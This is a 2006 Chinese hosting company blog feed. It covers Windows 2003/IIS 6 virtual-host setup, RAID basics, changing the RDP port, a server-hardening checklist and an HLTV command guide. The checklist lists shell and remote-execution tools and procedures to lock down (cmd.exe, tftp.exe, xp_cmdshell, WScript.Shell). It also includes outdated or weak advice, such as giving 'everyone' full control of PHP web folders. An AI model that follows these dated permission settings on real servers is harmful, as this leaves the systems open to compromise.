所以，一般在做ASP页面时，我们在有这些输入框的窗口上都做一些限制，如最多只能输入多少个字符、哪些特殊字符不允许输入等等。但现在很少有网站能做到滴水不漏的，可能也是因为工作量太大的缘故吧:( 第二个问题是FileSystemObject这个组件为 ASP 提供了对默认的Windows Server服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作。权限实在是太大。也导致一些恶意虚拟主机租借用户利用这个ASP组件来攻击和控制系统。所以在不是必要的情况下，请不要启用它。太危险了。

　　基本系统设置安全问题:

　　一、端口设置。端口是计算机和外部网络相连的逻辑接口，也是计算机的第一道屏障，由于做虚拟主机的系统一般不需要开太多的端口，所以可以在网卡属性、Internet协议(TCP/IP)属性、高级、选项、TCP/IP筛选属性里进行添加。不过Windows Server TCP/IP筛选设置做的有点问题:只允许开哪些端口，不允许关哪些端口，郁闷吧。

　　二、IIS设置:首先，把C盘中的默认的IIS目录Inetpub彻底删掉，在Internet信息服务(IIS)管理器中将默认WEB网站给停止，从新建立你所需要的WEB发布站点，但注意，请把你要发布站点的目录建立在其他盘符，并不要给其命名一些相对简单或容易猜中的名字，如WEB、IIS、Inetpub等。其次，在Internet信息服务(IIS)管理器中删除在你虚拟主机上不想用到的文件名映射，如，你的系统只需要支持ASP和HTML的话，那只要保留这个两个文件名映射就可以了，其他的都可以删除，步骤为在Internet信息服务(IIS)管理器中右击主机、属性、WWW服务、编辑、主目录配置、应用程序映射，然后就开始一个个删吧。最后在的应用程序调试书签内将脚本错误消息改为发送文本就基本可以了。

　　三、预防DoS: DOS:即Denial Of Service，拒绝服务的缩写，原理就是生产出大量的数据包让服务器不停的处理，导致服务器不能对其他的数据产生响应。在注册表HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters中更改以下值可以帮助你防御一定强度的DoS攻击 SynAttackProtect REG_DWORD 2 EnablePMTUDiscovery REG_DWORD 0 NoNameReleaseOnDemand REG_DWORD 1 EnableDeadGWDetect REG_DWORD 0 KeepAliveTime REG_DWORD 300,000 PerFORMRouterDiscovery REG_DWORD 0 EnableICMPRedirects REG_DWORD 0

浙江博硕数据真诚为您服务 http://www.85bs.com

浙江博硕数据 2006-05-14 14:52 发表评论

Windows 2003搭建虚拟主机服务器--工作进程隔离

浙江博硕数据 — Sun, 14 May 2006 06:51:00 GMT

　　四、工作进程隔离:在虚拟主机上经常会出现由于某个用户WEB站点的应用程序出错，进入无限循环，导致服务器资源大量消耗，最终死机的情况，这个问题在以往的IIS中是很难解决的，有时还得借助第三方软件。

　　但现在，IIS 6.0 引入了工作进程隔离模式，该模式可以在隔离环境中运行所有的 Web 应用程序。当在工作进程隔离模式下运行 IIS 时，可以将应用程序配置成在单独的应用程序池中运行。每个应用程序池在逻辑上表示一个可配置的工作进程，并且链接到池中的应用程序。工作进程彼此独立运行;它们可能失败，但不会影响其他工作进程。应用程序池保护其中的应用程序免受支持其他应用程序池的工作进程的影响。这样，就可以避免应用程序相互影响。

　　在工作进程隔离模式下，超文本传输协议 (HTTP) 请求被直接路由到服务于已配置的应用程序的内核应用程序池队列。服务于应用程序池的工作进程会将请求直接从该队列中拉出，避免了进程切换的开销。为进一步保护 WWW 服务，IIS 6.0 会隔离关键的万维网发布服务组件，如 HTTP 协议堆栈和 WWW 服务管理和监控，避免其受到在工作进程中运行的第三方代码的影响。

HTTP 协议堆栈接受 WWW 服务请求并将其排入队列。当工作进程处于不正常的状态并因此中断处理请求时，HTTP 协议堆栈会继续处理请求。同时，WWW 服务将检测不正常的工作进程并将其关闭。如果要求新工作进程为请求提供服务，WWW 服务会启动一个新工作进程以便从 HTTP 协议堆栈中获取队列中的请求。即使工作进程失败，WWW 服务仍会继续处理请求并保护用户免于丢失服务。打开 Internet信息服务(IIS)管理器，展开服务器，右键点击应用程序池，选择属性。就可以在弹出的对话框中根据自己的系统环境进行进程隔离设置了。如图10:

图10：Internet信息服务(IIS)管理器

　　由于系统环境比较多样化，所以很难有一个设置的标准，所以具体的设置请参考Windows 2003的帮助。

　　五、查看事件查看器:作为一个网管就应该时时刻刻的观察服务器的安全性，而事件查看器可以反映系统80%的安全情况，这需要我们要养成每天分析事件查看器的习惯。一般情况是每天早晚各查看一次，并保留一个星期的日志。

用户与磁盘空间和域名的绑定

浙江博硕数据真诚为您服务 http://www.85bs.com

浙江博硕数据 2006-05-14 14:51 发表评论

Windows 2003搭建虚拟主机服务器--FTP用户隔离共有三种模式

浙江博硕数据 — Sun, 14 May 2006 06:50:00 GMT

FTP 用户隔离共有三种模式:

　　不隔离用户:该模式不启用 FTP 用户隔离。该模式的工作方式与以前版本的 IIS 类似。由于在登录到 FTP 站点的不同用户间的隔离尚未实施，该模式最适合于只提供共享内容下载功能的站点或不需要在用户间进行数据访问保护的站点。

　　隔离用户:该模式在用户访问与其用户名匹配的主目录前，根据本机或域帐户验证用户。所有用户的主目录都在单一 FTP 主目录下，每个用户均被安放和限制在自己的主目录中。不允许用户浏览自己主目录外的内容。如果用户需要访问特定的共享文件夹，您可以再建立一个虚拟根目录。该模式不使用 Active Directory 目录服务进行验证。注意当使用该模式创建了上百个主目录时，服务器性能会下降。

　　用 Active Directory 隔离用户:该模式根据相应的 Active Directory 容器验证用户凭据，而不是搜索整个 Active Directory，那样做需要大量的处理时间。将为每个客户指定特定的 FTP 服务器实例，以确保数据完整性及隔离性。当用户对象在 Active Directory 容器内时，可以将 FTPRoot 和 FTPDir 属性提取出来，为用户主目录提供完整路径。

如果FTP 服务能成功地访问该路径，则用户被放在代表 FTP 根位置的该主目录中。用户只能看见自己的 FTP 根位置，因此受限制而无法向上浏览目录树。如果 FTPRoot 或 FTPDir 属性不存在，或它们无法共同构成有效、可访问的路径，用户将无法访问。

　　打开Internet信息服务(IIS)管理器，点击展开服务器，右键单击FTP站点，新建一个FTP站点，在建立向导中，因为我的服务器不是Active Directory模式，所以我们选择隔离用户这个选项。如图4:

图4：FTP用户隔离选项

　　完成建立向导后，开打新建立的FTP站点属性，点击属性中的安全用户选项卡，把允许匿名连接关闭。确定后退出。

浙江博硕数据真诚为您服务 http://www.85bs.com

浙江博硕数据 2006-05-14 14:50 发表评论

Windows 2003搭建虚拟主机服务器--域名的绑定

浙江博硕数据 — Sun, 14 May 2006 06:48:00 GMT

　　最后是域名的绑定，域名绑定有两种定义，第一种是直接使用完整域名绑定WEB服务，如在服务器上提供www.test1.com和www.test2.com空间服务，第二种是开设子域名服务，如提供test1.yesky.com和test2.yesky.com空间服务。这两种在工作原理上是一样的，但第二种在操作上有一些不同。需要自己服务器的DSN支持。

　　首先我们让我们来了解一下关于域名(DNS)的基本知识，在我们要了解DNS，首先要了解几个名词:域名空间;根域;顶级域;二级域;主机名;区域。

　　域名空间:是DNS名的结构统称，他的结构主要是由根域，顶级域，二级域和主机名组成。

　　根域:是处在整个结构的顶级，是用点(.)表示的。由国外的几个公司管理的。55555没有我们的份~郁闷!!)

　　顶级域:是由2-3个英文字母组成，并且有着一定的意义，一般采用相对意义的英文单词缩写或相对代码。如:COM是指商业机构，GOV是指政府机构，CN是指中国……

　　二级域:是由一些域名提供商出租给个人或企业、机构的服务。如www.75800.com这个域名中75800就属于二级域。

　　主机名:是用来表示Internet或内部网的计算机名称，但大家注意一点，在Internet上，有的时候主机名指代表一台服务器的IP地址，而不是服务器的名称，这一点是和内部网有区别的!

　　区域:是域名空间中的一个离散部分。区域主要是用来把一个域名变成可管理的几个部分，如:www.75800.com这个域名我们可以把他划分成www和75800.com这两个部分。这样，我们就可以利用75800.com这部分生成不同的主机名。如mail.75800.com;bbs.75800.com等等。这一点比较重要。

　　DSN服务工作的流程我们可以把它称作名字解析过程，它共分为两种:正向搜索和反向搜索。正向搜索是把一个域名解析成一个IP，我们这里就用Internet上的www.75800.com域名做一个案例。

我们先在IE浏览器中输入www.75800.com这个域名，然后计算机将自动把这个域名传递给本地DNS服务器(也就是指在本机网卡属性中TCP/IP协议的DSN服务器输入框里输入的IP地址所对应的服务器)，DNS服务器收到信息后，将在自己的区域表中搜索有没有该域名所对应的IP!有则返回，若没有，它则会把搜索的信息传递给国外的几个根域DSN服务器之一，请求解析该域名。

根域DSN服务器则返回一条对COM域DNS服务器的IP地址给本地DNS服务器引用(由于75800.com的顶级域是COM所以返回COM域DNS服务器的IP地址)，本地DNS服务器在根据IP地址给COM域DNS服务器发送一条www.75800.com域名解析请求的信息，COM域DNS服务器返回一条对yeskyDSN服务器的IP地址指引，然后本地DNS服务器再根据收到的IP地址给yeskyDSN服务器，发送一条www.75800.com域名解析请求的信息，yeskyDSN服务器根据请求反馈给www的IP地址，本地服务器再把这个IP反馈给我们。这时解析完成，我们也就打开了www.75800.com的网页。

　　反向搜索正好相反，它是把一个IP地址解析成一个域名，常看见的诸如Windows 2003下的Nslookup命令工具。由于DNS服务是按域名而不是按IP地址索引的，反向搜索一搜索就会搜索所有的信息，很消耗资源。为了避免这种情况，DNS服务创建了一个叫in-addr.arpa的特殊二级域，它使用的是与其他域名空间结构相同的方法，但它不采用域名，而是采用IP地址。

　　注意，要想做Internet上第二种虚拟主机，最好向域名提供商申请DNS转移权，要求提供商把DNS解析权指定到你的DNS服务器上，这样你就能自己利用Windwos Server的DSN服务随意开设子域名了，不然你每次要用一个新的子域名都要向域名提供商申请，那是很麻烦的，而且DSN在自己的服务器上还有很多好处，如开设MAIL服务等等。

　　先来打开DNS管理器，点击展开服务器，在正向查找区域新建一个区域。选择创建主要区域，输入你申请的域名，注意，只要输入我上面所说的区域就可以了，如75800.com、75800.net。完成。如图5:

图5：创建主要区域

　　创建好区域后，就在你创建的区域里创建主机。最好创建的主机名与你的用户名相同，这样方便管理。当然，如果你的系统已经升级到AD模式，那这步可以跳过，因为在AD模式下，你每创建一个帐户，就会自动的生成对应的主机名称。如图6:

图6：创建主机

　　所有的主机都创建好了后，就打开Internet信息服务(IIS)管理器，在WEB站点下创建新的WEB站点。在站点创建向导的IP地址和端口设置对话框中输入需要绑定的完整域名，如www.test.com、test1.test.com、test12.test.com，创建完成后，域名就和空间绑定了。如图7:

图7：域名和空间的绑定

　　在DNS中有多少个主机，就可以建立多少个子域名WEB站点。也可以用域名提供商提供的直接指定IP的域名。但这里需要注意的是，一旦服务器中Internet信息服务(IIS)管理器里出现了带主机头的站点后，有时将会导致没有主机头的站点出错，这个问题很奇怪，可是能DNS映射引起的。

浙江博硕数据真诚为您服务 http://www.85bs.com

浙江博硕数据 2006-05-14 14:48 发表评论

RAID卡基本原理

浙江博硕数据 — Sun, 14 May 2006 06:42:00 GMT

RAID 卡有自己的CPU，Cache Memory，通过集成或借用主板上的SCSI控制器来管理硬盘，可以称之为一个智能化的设备。

RAID 卡的分类一般根据集成的SCSI控制器来划分。如果没有集成SCSI控制器，而是借用主板上的SCSI控制器来管理硬盘，则为零通道RAID卡。根据RAID卡集成的SCSI控制器的通道数量，可以分为单通道、双通道、三通道RAID卡。还可以按照SCSI控制器的标准来划分RAID卡的种类，如Ultra Wide、 Ultra2 Wide、Ultra160 Wide。

RAID 处理器是一个PCI从设备，接受并执行来自系统的命令。同时占用PCI中断，代表SCSI磁盘子系统向系统提出中断请求，请求占用PCI总线，返回对系统命令的响应，如输送SCSI硬盘上的数据。

作为RAID卡的CPU，通过执行闪存中的Firmware，控制SCSI控制器、Cache Memory以及指示报警电路，来实现RAID卡的功能，运作流程如下：

（1）初始化RAID卡寄存器

（2）读取NVRAM的上次RAID参数，与硬盘实际信息进行比较，显示结果

（3）发送配置提示、响应 HOST 命令进入配置界面

（4）提供配置菜单、将用户提供的RAID卡参数、RAID参数存入NVRAM

（5）根据RAID参数，通过SCSI控制器对硬盘进行初始化写操作

（6）完成配置

（7）等待Host发出读写操作命令

RAID 卡提高磁盘读写性能的另一手段是：磁盘CACHE。

对于磁盘I/O来说，如果没有CACHE，就直接从硬盘读写；如果有CACHE，则首先从CACHE读写。

CACHE 具有两大功能：

-- 预读

CACHE 预读提高了计算机系统中的硬盘读的功能，尤其是在读取含有大量文件碎片的文件时。具有良好预读功能的RAID卡能在看起来很随机的读访问中，识别出读取磁盘的规律，通过这个规律提前将系统要读取的数据放在CACHE中。

预读的两种方式：

Read Ahead

由于硬盘数据经常是以一族连续的硬盘扇区组织起来的，所以有时侯如把系统所请求的扇区随后的一个扇区里的数据同时读进来是有价值的。对于数据文件的读取有利,特别是系统CPU的性能低时。

Pre-Fetch

当RAID卡发现系统要读的是先前已经读过的数据时，在这一次，便将这一个数据块的数据写到CACHE里。对于程序文件的读取有利。

-- 回写

回写是通过暂时将数据存在CACHE里，从而推迟将数据写到慢设备（如硬盘、磁带机）的一种工作方式。数据将在随后的时间，硬盘闲置的时候写到硬盘中。写的时候也是统一将CACHE内的尚未写出的数据按照数据块的在硬盘中的BLOCK序号写入，这样可以提高写的效率。

回写需要加电池给CACHE供电，以免数据在写到硬盘之前系统断电导致硬盘数据丢失。

增加CACHE大小对于预读来说，为系统提供了更多的来自CACHE的可供读取的记录。对于回写来说，允许控制卡保存更多的记录留待后期写磁盘。特别是对于电梯式回写，使得连续的回写段之间有更近的间隔，降低硬盘写操作的平均访时间并提高了吞吐率。

写策略

-- 回写（Write Back）

-- 通写（Write Through）

通写模式下，所有数据在以命令完成状态返回到计算机之前，直接写到硬盘。两种写策略比较来说，写策略由通写改为回写时，可大幅度提高RAID性能。但回写具有一定的数据危险性。在突然断电的情况下，会丢失存于Cache尚未写入硬盘的数据。

RAID 卡工作在写策略为THROUGH时，缓存大小对RAID卡的性能影响很小，只有当写策略改为BACK时，缓存的作用才会发挥出来。

影响RAID卡性能的因素很多，其中可调因素主要有RAID卡缓存（CACHE）大小、写策略（WRITE POLICY）、读策略（READ POLICY）、条带的大小（STRIPE SIZE）。不同的RAID卡虽然说法略有不同，但意思是一样的。很多设置可以在RAID卡的配置工具中调整。

浙江博硕数据真诚为您服务 http://www.85bs.com

浙江博硕数据 2006-05-14 14:42 发表评论

阵列基础知识

浙江博硕数据 — Sun, 14 May 2006 06:41:00 GMT

RAID 的全称是廉价磁盘冗余阵列（Redundant Array of Inexpensive Disks），于1987年由美国Berkeley 大学的两名工程师提出的

RAID 出现的，最初目的是将多个容量较小的廉价硬盘合并成为一个大容量的“逻辑盘”或磁盘阵列，实现提高硬盘容量和性能的功能。

随着RAID技术的逐渐普及应用，RAID技术的各方面得到了很大的发展。现在，RAID从最初的RAID0-RAID5，又增加了RAID0+1和RAID0+5等不同的阵列组合方式，可以根据不同的需要实现不同的功能，扩大硬盘容量，提供数据冗余，或者是大幅度提高硬盘系统的I/0吞吐能力。

RAID 技术主要有三个特点：

第一、通过对硬盘上的数据进行条带化，实现对数据成块存取，减少硬盘的机械寻道时间，提高数据存取速度。

第二、通过对一阵列中的几块硬盘同时读取，减少硬盘的机械寻道时间，提高数据存取速度。

第三、通过镜像或者存储奇偶校验信息的方式，实现对数据的冗余保护。

经常应用的RAID阵列主要分为RAID 0，RAID 1，RAID 5和RAID 0+1。

RAID0 ：条带化

RAID 0 也叫条带化，它将数据象条带一样写到多个磁盘上，这些条带也叫做“块”。条带化实现了可以同时访问多个磁盘上的数据，平衡 I/O 负载，加大了数据存储空间和加快了数据访问速度。 RAID 0 是唯一的一个没有冗余功能的 RAID 技术，但 RAID0 的实现成本低。如果阵列中有一个盘出现故障，则阵列中的所有数据都会丢失。如要恢复 RAID 0 ，只有换掉坏的硬盘，从备份设备中恢复数据到所有的硬盘中。

硬件和软件都可以实现 RAID0 。实现 RAID0 最少用 2 个硬盘。对系统而言，数据是采用分布方式存储在所有的硬盘上，当某一个硬盘出现故障时数据会全部丢失。 RAID 0 能提供很高的硬盘 I/O 性能，可以通过硬件或软件两种方式实现。

RAID1

也被称为磁盘镜像。系统将数据同时重复的写入两个硬盘，但是在操作系统中表现为一个逻辑盘。所以如果一个硬盘发生了故障，另一个硬盘中仍然保留了一份完整的数据，系统仍然可以照常工作。系统可以同时从两个硬盘读取数据，所以会提高硬盘读的速度；但由于在系统写数据需要重复一次，所以会影响系统写数据的速度。硬盘容量的利用率只有 50% 。

RAID0+1

对 RAID0 阵列做镜像。这是一种 Dual Level RAID ，也有人称之为 RAID level 10 。是两组硬盘先做 RAID0 ，组成两颗大容量的逻辑硬盘，再互相为“镜像”。在每次写入数据，磁盘阵列控制器会将资料同时写入该两组“大容量数组硬盘组”内。

同 RAID level 1 一样，虽然其硬盘使用率亦只有 50% ，但它却是最具高效率的规划方式。

RAID5

是在 RAID3 和RAID4的基础上发展来的，它继承了它们的数据冗余和条带化的特点，并将数据校验信息均匀保存在阵列中的所有硬盘上。系统可以对阵列中所有的硬盘同时读写，减少了由硬盘机械系统引起的时间延迟，提高了磁盘系统的I/O能力；当阵列中的一块硬盘仿生故障，系统可以使用保存在其它硬盘上的奇偶校验信息恢复故障硬盘的数据，继续进行正常工作。

浙江博硕数据真诚为您服务 http://www.85bs.com

浙江博硕数据 2006-05-14 14:41 发表评论

RAID卡配置方法 (Adaptec2100s RAID)

浙江博硕数据 — Sun, 14 May 2006 06:40:00 GMT

摘要: Adaptec2100s RAID 卡简介 Adaptec2100s 卡是Adaptec所推出的一款Ultra160 单通道RAID卡。 1 、功能特点 1) ... 阅读全文

浙江博硕数据 2006-05-14 14:40 发表评论

服务器修改3389的方法!

浙江博硕数据 — Sun, 14 May 2006 06:30:00 GMT

1. 服务器端的修改

　　将下列两个注册表键中的 PortNumber 均改成自定义的端口即可：

　　HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\Wds\Repwd\Tds\Tcp

　　HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

　　2. 客户端的修改

　　Windows 2000

　　运行 Client Connection Manager 创建一个对刚才修改过的服务器的新连接，然后将其导出到 server.cns 文件，.cns 文件是存储此连接各选项的 ASCII 码文件，用文本编辑软件打开这个文件，找到 Server Port=3389 这一行将 3389 改成自定义的端口，保存后再将其导入 Client Connection Manager 它会提示“已经有一个连接使用此配置，是否将其覆盖”，选择是。现在我们就可以用 Client Connection Manager 中的这个连接配置连到自定义端口的服务器了。　　　

Windows XP

　　打开 mstsc.exe 窗口。按 “选项”按钮扩展窗口，将有 “常规”、“显示”、“本地资源”、“运行”、“高级”五个选项卡。根据需要填写各项后，再按 “常规” 选项卡中的“另存为”按钮。 mstsc.exe 会将自定义连接配置保存为 .rdp 文件。用文本编辑软件将其打开可以看到其格式如下：

　　screen mode id:i:1

　　desktopwidth:i:800

　　desktopheight:i:600

　　session bpp:i:8

　　winposstr:s:2，3，195，73，843，580

　　auto connect:i:0

　　full address:s:192.168.0.9

　　compression:i:1

　　bitmapcachepersistenable:i:1

　　keyboardhook:i:2

　　audiomode:i:2

　　redirectdrives:i:1

　　redirectprinters:i:1

　　redirectcomports:i:1

　　displayconnectionbar:i:1

　　username:s:tsinternetuser

　　domain:s:JOB

　　alternate shell:s:

　　shell working directory:s:

　　非常明显，可以看出这个文件的格式为：选项:数据类型(i-整数/s-字符串)：该选项的数据值。

　　其中没有连接到服务器的某个端口的这样的选项。所以需要手工添加，在其中添加一行。

　　server port:i:××××(××××服务器自定义的端口)。

　　也可以将中间项省去；直接写成 server port:××××即可。

　　运行mstsc.exe，打开这个.rdp 文件即可连接这个自定义端口了。

浙江博硕数据真诚为您服务 http://www.85bs.com

浙江博硕数据 2006-05-14 14:30 发表评论

服务器托管不可不知五大问题

浙江博硕数据 — Sun, 14 May 2006 06:27:00 GMT

1. 服务器的尺寸规格? 浙江博硕数据真诚为您服务 http://www.85bs.com

通常所说服务器的"U"是一种表示服务器外部尺寸的单位，是unit的缩略语，详细尺寸由作为业界团体的美国电子工业协会(EIA)决定。之所以要规定服务器的尺寸，是为了使服务器保持适当的尺寸以便放在铁质或铝质机架上。机架上有固定服务器的螺孔，将它与服务器的螺孔对好，用螺丝加以固定。

规定的尺寸是服务器的宽(48.26cm=19英寸)与高(4.445cm的倍数)。由于宽为19英寸，所以有时也将满足这一规定的机架称为 “19英寸机架”。厚度以4.445cm为基本单位。1U就是4.445cm，2U则是1U的2倍为8.89cm(如此类推)。也就是说所谓“1U的服务器”，就是外形满足EIA规格、厚度为4.445cm的产品。设计为能放置到19英寸机柜的产品一般被称为机架服务器。

2. 何谓服务器托管服务?

服务器托管是指为了提高网站的访问速度，将您的服务器及相关设备托管到具有完善机房设施、高品质网络环境、丰富带宽资源和运营经验以及可对用户的网络和设备进行实时监控的网络数据中心内，以此使系统达到安全、可靠、稳定、高效运行的目的。托管的服务器由客户自己进行维护，或者由其它的授权人进行远程维护。

数据中心可以为客户的关键服务器提供机柜及带宽出租服务，使服务器可维持每星期七日、全日二十四小时无休止服务。当您有意建设自己的Web、Email、Ftp服务器，而您的网站的应用很复杂或您网站的访问率很高时,您可以选择自已购买服务器,进行整机托管。

3.为何不把服务器放在自己的办公室?

要在自己室内存放服务器，就必须建立空调环境、标准设施(例如24小时运作的机房空调系统、不间断电源系统等等)以及管理服务器和网络业务作出庞大而长远的投资。服务器管理服务尤其适用于下列况:不愿购置额外硬件(例如:路由器)以提升伺服器的连接速度;服务器受带宽所限无法提升网络连接速度。

服务器托管服务是最合乎成本效益的网上方案，无论在性能、保安、可靠性方面都达到最高水平。

　　4.服务器托管与虚拟主机托管有什么区别?

"服务器托管"是在具有与Internet时实相连的数据中心(IDC)放置一台服务器，或向其租用一台服务器，客户可以通过远程控制将服务器配置成WWW、E-mail、Ftp等功能的服务器。

"虚拟主机托管"是指:将一台UNIX或NT系统整机的硬盘划细，细分后的每块硬盘空间可以被配置成具有独立域名和IP地址的www、 email、FTP服务器。这样的服务器，在被人们浏览时，看不出来它是与别人共享一台主机系统资源的。在这台机器上租用空间的用户只能通过文件传输 (FTP)等手段来控制属于他的那部分空间，达到有限的功能配置如信息的上下载等。而服务器托管的用户则可以通过远程控制软件(如PCANYWHERE)来完全控制自己的服务器，从而实现各种应用功能。

　　5.服务器被访问的速度由哪些因素决定?

A.服务器的硬件配置(包括服务器的类型、CPU、硬盘速度、内存大小、网卡速度等)

B.服务器所在的网络环境与Internet骨干网相联的速率

C.ChinaNet的国际出口速率

D.访问者的ISP(Internet接入服务提供商)与ChinaNet之间的专线速率

E.访问者的ISP(Internet接入服务提供商)向客户端开放的端口接入速率

F.访问者计算机的配置，Modem的速率、电话线路的质量等

更多资料请查阅:www.75800.com

浙江博硕数据 2006-05-14 14:27 发表评论

某著名音乐网站服务器安全配置说明

浙江博硕数据 — Sun, 14 May 2006 06:25:00 GMT

浙江博硕数据真诚为您服务 http://www.85bs.com

以下是我服务器的安全配置情况,写得没好,请没要介意.也没要拿砖头砸我

一.磁盘权限的设置

c:\
Administrators 完全控制
System 完全控制
Users 读取读取运行列出文件夹目录(为了让防盗链能正常运行)
Guest 拒绝所有权限.并只应用到“只有该文件夹”

C:\Documents and Settings
Administrators 完全控制
System 完全控制

C:\Documents and Settings\All Users
Administrators 完全控制
System 完全控制

C:\php
读取读取运行列出文件夹目录

C:\Program Files
Administrators 完全控制
System 完全控制

C:\Program Files\Common Files\System
把Everyone权限加上去，赋予读取读取运行列出文件夹目录权限

C:\WINDOWS
Administrators 完全控制
System 完全控制
IIS_WPG 读取读取运行列出文件夹目录,并应用到“只有子文件夹及文件”

Users 读取读取运行列出文件夹目录,并应用到“只有该文件夹”
C:\WINDOWS\system32
Administrators 完全控制 System 完全控制
Everyone 读取读取运行列出文件夹目录,并应用到“只有子文件夹及文件”

搜索 cmd.exe net.exe net1.exe cacls.exe tftp.exe ftp.exe
赋予Administrators完全控制权限.并将C:\WINDOWS\ServicePackFiles\i386目录下面多余的删掉！

D盘看不到，不用管

E:\
Administrators 完全控制

E:\web
Administrators 完全控制

e:\web下面是网站目录，每个站点使用独立的匿名用户，这个不用多说了.

F:\
Administrators 完全控制

f:\web

administrators 完全控制
f:\web下面也是用户目录。。。自己设置权限去...

服务器上有2个PHP的站点.因为PHP的安全机制
设置的权限有所不同.
F:\web\www.ndsman.net
administrators 完全控制
system 完全控制
everyone 完全控制，不是继承的.点高级-把那个勾去掉
F:\web\www.ndsman.net\sb 是网站目录
administrators 完全控制
system 完全控制
www.ndsman.net 除了完全控制以外，全部赋予

F:\web\www.xzhy.cn 这个也是PHP的，设置权限如上，不再重复.

另：E:\web\IIS备份此目录下是IIS站点配置备份.建立站点时直接导入就可，E:\2盘\bak\建立网站用户的批处理.BAT 直接运行就会自动建立网站匿名帐户.

二.系统安全设置

1.启用Windows自带防火墙，并开放80 21 3306 52013 端口.（想开什么端口自己加）

2.删除以下的注册表主键:
WScript.Shell
WScript.Shell.1
Shell.application
Shell.application.1
WSCRIPT.NETWORK
WSCRIPT.NETWORK.1

regsvr32 /u wshom.ocx回车、regsvr32 /u wshext.dll回车

3.删除没有必要的储存过程
use master
EXEC sp_dropextendedproc 'xp_cmdshell'
EXEC sp_dropextendedproc 'Sp_OACreate'
EXEC sp_dropextendedproc 'Sp_OADestroy'
EXEC sp_dropextendedproc 'Sp_OAGetErrorInfo'
EXEC sp_dropextendedproc 'Sp_OAGetProperty'
EXEC sp_dropextendedproc 'Sp_OAMethod'
EXEC sp_dropextendedproc 'Sp_OASetProperty'
EXEC sp_dropextendedproc 'Sp_OAStop'
EXEC sp_dropextendedproc 'Xp_regaddmultistring'
EXEC sp_dropextendedproc 'Xp_regdeletekey'
EXEC sp_dropextendedproc 'Xp_regdeletevalue'
EXEC sp_dropextendedproc 'Xp_regenumvalues'
EXEC sp_dropextendedproc 'Xp_regread'
EXEC sp_dropextendedproc 'Xp_regremovemultistring'
EXEC sp_dropextendedproc 'Xp_regwrite'
drop procedure sp_makewebtask

（本人建议直接找对应的DLL文件删除比较保险）

4.禁用Workstation服务，防止ASP木马列出用户.

5.关闭默认共享防止LAN内IPC入侵。可以用批处理来实现.如下：
echo off
net share c$ /del
net share d$ /del
net share e$ /del
net share f$ /del
保存为bat放到C:\Documents and Settings\All Users\「开始」菜单\程序\启动即可

6.定时重启IIS服务及SQL服务.释放资源.可以用计划任务来实现.怎么弄自己想去。

7.设置终端登陆权限，只允许授权用户登陆.开始-程序-管理工具-终端服务配置-RDP-属性-权限
Administrator
chadmin
system
完全控制,不过尽管这样还是有一定的不安全,克隆个帐户就得了.建议限制IP登陆.尽管这样还是不安全滴,人家可以映射终端端口.最好的就是把服务器搞得上没得网.用IP安全策略可以做到.

8.Serv-U改一下本地管理密码，防止本地溢出.设置一下FTP域安全性，选择允许SSL/TLS和规则会话.

OK.就照着这样设置就行了，又安全又不影响第三方软件使用.每台服务器的权限配置都不一样，不要照搬了.服务器升天我不负责.这样设置防防点小菜鸟应该足够啦.哈

浙江博硕数据 2006-05-14 14:25 发表评论

【CS】推荐HLTV服务器命令全解

浙江博硕数据 — Sun, 14 May 2006 06:18:00 GMT

浙江博硕数据真诚为您服务 http://www.85bs.com

这篇文章是最新发布的HLDS 4.1.1.1/3.1.1.1中的HLTV的自诉文章翻译而来，对简单的HLTV架设和大规模HLTV NET的架设都有详细地介绍。HLTV独特的实时转播方式注定它将会在电子竞技的发展道路上的重要地位，这一点也在世界各国的CS比赛，以及国内的几次大规模CS大赛，浩方平台的几次转播中得以体现。HLTV随着HLDS 4.1.1.1/3.1.1.1的发布也变得更加成熟，困扰大家两年多的闪光弹bug也已经修复，但是国内很多服务器管理员和比赛组织者都不是很了解HLTV的用法或者只是了解最近本的用法，很多很有趣的功能没有实现，基于此，将这篇很详细的README文章介绍给大家。

　　文章中一些不常用的命令可能会有一些翻译上的错误，欢迎大家指出，谢谢。

1、总览
Half-Lift TV提供了理论上无限制观察者观看在线游戏的可能。他们可以在游戏服务器中跟随任一名玩家的视角。观察者对于游戏者来说是不可见的，也不能以任何方式干扰进行中的游戏。每个观察者可以选择任意玩家的任意视角。为了获得更有趣的观察体验，观察者可以打开自动切换模式，这样镜头将自动切换到以合适的角度来观看精彩的镜头。这样观察者们就能舒服的靠在椅背上不用作任何动作。观察者们还可以用最基本的HL Chat模式来互相沟通。
大多数流行的Half-Life的MOD例如CS,Team Fortress Classic,DOD都支持HLTV，HLTV的提供者拥有对HLTV系统的完全控制权，可以改变观察者人数，添加文字信息，更换HLTV logo等等。播放的画面可以自定义一个延迟时间，默认的是30秒，这样可以确保正在比赛的队伍不可能通过HLTV来得到一些有用的对手信息。建立一个单独的支持100人的HLTV Server是很简单的事情，不需要对默认设置作任何改变。
架设一个庞大的HLTV网络来支持上千人的观看需要为服务器的配置等等准备多一些的时间和经验。

2、观看游戏
为了观看一个HLTV，启动Half-Life(或其他MOD包)，进入多人模式，然后进入HLTV提供者提供给你的IP:port，或者直接在控制台输入(假设服务器为192.168.0.1:27020)

connect 192.168.0.1:27020

这样的命令，即可进入HLTV服务器观看比赛。
默认的HLTV端口是27020，但是这是可以更改的，通常会包括在给出的IP地址中提供。
你可以用不同的模式来观看游戏：跟随视角，第一人称视角，自由观察，地图总览，地图跟随。最简单的切换视角方法是按“跳跃”键(默认是空格键)，另外一种方法是使用按“蹲下”键(默认是Ctrl)激活的观察菜单，在那儿你可以定义自己的观察风格并且开启自动切换模式。循环按下“使用”(默认是E)可以开关画中画模式。

下列HL控制台命令可以在用来自定义观察模式：

spec_autodirector <0|1> - 开启或者关闭自动切换模式
spec_drawcone <0|1> - 在地图总览模式显示你的视角范围
spec_drawnames <0|1> - 在玩家标志下显示玩家的名字
spec_drawstatus <0|1> - 显示游戏信息(时间，地图名称等)
spec_pip <0|1> - 开关画中画功能
spec_menu - 开启观察者菜单
spec_help - 显示帮助屏幕
spec_mode <1-6> [<0-4>] - 设置主显示模式，第二个参数是设置画中画模式。并非所有的组合都有效。
主显示模式:
1、锁定跟随 2、自由跟随
3、自由观察 4、第一人称视角
5、地图总览 6、地图锁定跟随
画中画模式:
0、关闭画中画 1、自由跟随
2、第一人称视角 3、地图总览
4、地图跟随
